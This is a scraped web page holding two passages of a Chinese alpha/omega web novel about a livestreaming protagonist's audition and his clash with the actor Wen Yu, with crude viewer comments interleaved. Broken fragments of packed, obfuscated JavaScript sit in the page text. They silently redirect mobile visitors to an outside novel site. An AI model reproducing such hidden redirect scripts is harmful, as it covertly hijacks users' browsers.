d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438182|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少走个过场，至于另一个，就看有没有长得好……那个是谁？” 许时清走进来，一路上对工作人员点头哈腰，这儿的人他一个都不认识，要是等会又不小心得罪人，他估计又得被骂几千条。 试镜中场休息，还有五分钟开始，他虽然只有几句台词，但也想对看两眼，却听见不远处有人叫他：“那边那个，你叫什么名字，多少号？” “嗯？” 许时清假装看剧本，没敢抬头，怕被人以为自作多情。 那人却直接叫出他的名字：“许时清？是你吗，刚刚在叫你呢，怎么不吭声？” ……原来真在叫他吗？ 许时清没什么底气，慢慢挪过去，走到几位导演跟前，领头的那个戴着眼镜，上下打量他，手在空中比划，说：“你转一圈。” 【这么直白的吗？大导演就是不一样。】 【真的真的。听说他们跑龙套就是这样，不是很关键、对演技要求不高的角色，长得好就有优势！】 【清清乖乖转圈好萌，像八音盒里面的小人儿～】 转完一圈，许时清站定，又看见几个导演你看看我、我看看你，没有人说话，却无声敲定答案。 眼镜说：“这个角色就给你了。” 真的假的？别是戏中戏吧！ 许时清受宠若惊，左看看右看看，发现镜头也没对准自己，便不好意思地问：“那个、导演，我不用试镜的吗？” 眼镜摇头，“不用，你本来也就没几句台词，脸长得说得过去、身段也挺好，就够了。柯宁当时是这么跟我说的，比着找应该没问题！” 原来这也是柯宁写的剧本啊？世界还真是小。 商定好结果，眼镜便想直接写他的名字了，背后却传来声音，是温屿。 “郑导，我在那边等了好久了，怎么还不开始呢？” 他的声音一响起来，许时清就起鸡皮疙瘩，不由得想起昨天他咄咄逼人的样子，明明这会儿没再做什么亏心事，却像是老鼠见了猫一样怂。 走到跟前，温屿这才看见旁边极力降低存在感的许时清，他露出笑容，意味不明，“你也在这儿呢？看来我们真的很有缘分。” 眼镜不清楚他们之间有什么恩怨，便说：“有特殊情况，我这边定好一个角色了，你再等几分钟，和下面一组一起面就好。” “下一组？”温屿挑眉，看着许时清，“那他呢，难道是内定了？” 另一位导演解围：“当然不是，只是这角色演起来没什么难度，我们要求也就不那么高，所以……” “唉，那可不行啊！” 许时清就知道他没憋好屁。 “这可是柯导打磨了好久的剧本呢，又拉了几个投资，都是大制作，从剧本当选角自然都要重视……怎么能完全不面呢？” 许时清最后的希望也破碎了。温屿终于说动导演，几个人一合计，还是答应让他们一起演一遭。 见许时清脸色不好，眼镜甚至还宽慰说：“你也不用太紧张，和前辈合作可能是有点压力，放平心态就好了。” “谢谢您。我只是……” 许时清刚要开口，就感觉有人牵起他的手，温屿揉了揉他的掌心，力道不轻也不重。 “真的不用紧张啊……我们也不是第一次见了，是不是？” 32.我和你的信息素匹配度接近百分百。 距离正式试镜还有三分钟。 因为紧张，许时清感觉手心都是汗，倒不是他觉得不能应付这样的场面，而且不明白温屿为什么非要一直针对他。 昨天已经对他说了那些话，难道还不够吗？羞辱人也该有个限度吧！ 许时清这人性子直，等会儿拍摄结束，他指定得找温屿问个说法才行！ 【给我清清气得，牙都要咬碎了。】 【温屿也是没眼力见儿，站出来质疑什么啦？这时候不应该夸夸顺便拉近关系吗？小心这个世界你吃不到肉啊！】 【就是就是。】 【拜托，是主播攻略NPC，不是NPC攻略主播，你们真是倒反天罡了我说。】 【如何呢，又能怎？】 【我本是直男，今晚变基佬。】 ……少上点网可以吗？ 许时清不想理会，刚好宣布开拍，他集中精神。 这场主要是武将男一和文臣男三的对手戏，二人齐聚在一起，商讨政事。男一为掩人耳目，特地将地点设置在青楼。 这段戏的难点就在于，男一在人前要表现得轻浮堕落，却又不能太过散漫，否则就脱离了原本的性格底色。 尽管许时清对他有诸多意见，但又不得不承认，作为当红小花，温屿的确有点实力的。 别看温屿在他面前那副吊儿郎当、趾高气扬的样子，到了镜头前，一秒进入状态，神色沉稳自持、谈吐文雅有力，身段挺拔，一举一动都恰到好处。一看就是练过形体和表情管理课的。 压力好像有点大？许时清又擦了一遍手心的汗。没关系，他可以的！反正他一共就四句词，说完就拉倒。 走出房间，接下来就是男一和戏子初见的戏码了。 许时清饰演的戏子不满现状，听闻上头有大人物来此，想尽办法刷存在感、只想攀上高枝，最后还正巧被男一捡走了。 勾栏唱曲的戏子，无非就是轻浮、放浪，许时清刚刚在脑海里模拟过无数次，所以正式上场时至少没怯场。 他从拐角出来，佯装是醉了酒，正好能借机撞进温屿怀里。 这是剧本上写明白的动作描写，按理来说应该不会出差池，结果不知是许时清栽得太狠，还是有人又在做局——他本想假摔的，结果变成了真摔！整个人直接飞出去，差点要和地面来个亲密接触。 好在温屿眼疾手快，一把捞住他，正巧揽住他的腰。许时清惊魂未定，在他怀里和他对视，刚要开口，就感觉腰上一痒。 温屿捏了下他腰后的软肉，低声说：“继续。” 试镜要考验演员的临场反应，擅自中断可是大忌。 ——但是，这个人怎么又在捏他腰呢？ 许时清暂且不计较，将计就计，既然已经躺人家怀里了，又是醉了酒，自然要更嚣张点。 他索性就不起来，反手抱住温屿，眼神迷离，掐着调子喊了句：“这位大人，总觉得瞧您有点眼生，是第一次来这勾栏听曲吗？” 温屿轻笑，这笑容果然轻浮——和昨天调戏逼迫他的时候一模一样，完全是本色出演！ “是啊，近日政务繁多、分身乏术，我倒也累了，总一心想着江山社稷，倒忘了给自己寻些乐子，心中积劳成疾，美人可有解决之法？” “我、呃？……” 许时清刚要说话，就感觉腰上又一痒，温屿还在掐他！不怎么疼，但他就是想躲。 不会放过你的！！许时清对他微笑，心里却在滴血。 第二个世界，他一定要叫温屿好看才行！ “当然有法子了，”许时清这才站直身体，也能离他远一点，“还请大人随我来……我给您唱曲儿听，如何？” 温屿不为所动，他愣了下，这跟剧本写得不一样啊？ 不管了，他的戏份要到把温屿引回自己房里才结束，所以想也没想，伸手就去拉温屿的手——不料对方竟然也避开，你他妈到底有病没病啊，个人小情绪不要带到戏里来行吗？！ 许时清管他那么多，抓不到手，顺手牵了他的衣带，这带子连在腰上，许时清牵着他在前头走，笑靥如花，循循善诱：“跟我来吧。” “好、咔——” 许时清的戏份真不多，到这儿基本上就结束了，导演一喊“咔”，他立刻就松开手，还在衣服上擦擦手汗好像有多嫌弃温屿似的。 “表现还不错啊，虽然中间有点忘词了，但你应该是紧张，临场反应很好，还有牵温屿衣带那一段……是你即兴加的吗？” 许时清颔首：“是的。” 看起来反应很快，其实是没招了。 眼镜点头：“加得好，不突兀，也把人物立住了——许时清，这个角色你拿下了。” “非常感谢！” 我草，终于结束了！ 分明不是什么体力活，许时清却感觉自己快要力竭了。谁说演员工作轻松的？！ 试镜圆满结束，许时清去后台换衣服。为了演戏效果，工作人员让他们临时各自披了件古制外套。 低头解腰带时，背后传来话音：“想不到你的反应还挺快的，还有刚才的即兴发挥……难道是本色出演吗？” 阴魂不散的狗东西。 许时清闭上眼睛深呼吸，压下心头那股邪火，转头对人微笑。 “温屿前辈，谢谢您的抬爱，能和您搭戏是我的荣幸，”许时清的礼仪一向做得很好，他很少失态，“不过，您刚才说的本色出演……是在内涵我吗？” 他说过的，他势必要向温屿讨个说法，所以现在无需再忍了。 温屿解开衣带，看着他说：“怎么会觉得是在内涵——我这不是明说吗？” 呵。许时清脱下外套，没了牛仔夹克，里面只有一件白衬衫，扣子被他解了两颗，正巧在锁骨的位置敞开。 刚才场地里人很多，许时清又紧张，不可避免出了些汗，面颊微微红润，配上这副不修边幅的装扮，很难不让人浮想联翩。 他凑近了，再走得更近。只有一步之遥的距离，许时清开口：“前辈，我不明白，您为什么一定要这样针对我呢？” “如果是因为昨天下午的那件事，我已经向您解释过，这是无心之举，事后再向您道歉了。您阅人无数，能走到今天，想必心胸不至于会这样狭窄。” “如果是因为很久之前的那件事，您觉得我对付星竹前辈不敬……”许时清看着他的眼睛，“但我觉得那应该也是我和他之间的事，和您无关，您说是不是？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442602|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” 温屿沉默几秒，半晌，忽然扯出一个笑，点头附和：“是，你说得没错。还有吗？” 许时清浑然不察他的异样情绪，继续道：“所以，还请您大人不记小人过，忘记之前的不愉快。我们之后也会有合作，不如就各退一步，这样对大家都——唔？！” 话没说完，面前的人突然失了控，毫无预兆地朝他扑过来。许时清被他吓了一跳，惊得失声。 温屿把他扑在墙上，却没再有下一步的动作，两人僵持一会儿，温屿喘着粗气，开口道：“许时清。” “怎、怎么？” 要揍他吗？他也没说什么过分的话吧！能把人气成这样？？ “抑制剂……” 温屿艰难吐出三个字，再抬起头，双目竟然都猩红，眼里像有火在烧，问出口的声音却很轻：“你有吗？” “我、我没有，”许时清昨天打过一针，但那也都是柯宁给的，他还想着今天工作结束再去买一点儿呢，“怎么办，要给别人打电话吗？——要不我们报警吧！” 【全网最遵纪守法的主播，没有之一。】 【算我求你了。】 【不行给清清搞个刑侦副本吧，我看他挺想当一回正义执法人员的。】 【那我感觉星际更好，给清清穿制服，还有高跟长筒靴……光是想想就辣死我了！】 【再来一根小皮鞭多好！爽爽爽！！】 【求老婆抽我踩我～～】 一头是胡言乱语的弹幕，一头是突然发狂的温屿，许时清骂都不知道先骂谁了。 “报警？你在胡说什么呢。” 温屿似乎觉得他可笑，见他真的在状况外，这才解释：“许时清，你知道吗？” 许时清：“我不知道，你直说吧。” “……” “我，和你的信息素匹配度——接近百分之百。” “哈？” 啥匹配度？ 系统小百科再度上线：【所谓信息素匹配度，一般是alpha和omega相互匹配结合，通过一些特殊手段可以检测出具体数值。匹配度越高的AO，各方面的契合度也会更高哦～～】 【通常来说，平均数值在百分之六十附近徘徊，百分之八十五以上，已经是很高的匹配度了。但清清你的信息素和他几乎百分百匹配，这就意味着——你们有一段命定之缘，是命运天赐的最佳契合伴侣。】 命定之缘？天命之子？许时清看着眼前的人，却只想摇头。 他可不认为他跟温屿是登对的，两个人从性格到观念都完全不合适，能谈什么天赐的缘分呢？而且温屿对他的态度还那样差，说出来真不怕人笑话。 “我知道了。” 许时清应下这句话，并没有什么触动，只是眨了眨眼，真诚询问他说，“可是，前辈，那和我有什么关系呢？” “……” 他实在太理直气壮，温屿又不说话。几分钟过去，他总算冷静下来，重新站定，呼吸平缓。 他说：“许时清，你真是好样的。” 说完这句话，温屿转身就走，不带留恋。许时清全程都像个局外人，他问弹幕： 【他刚才是在夸我吗？】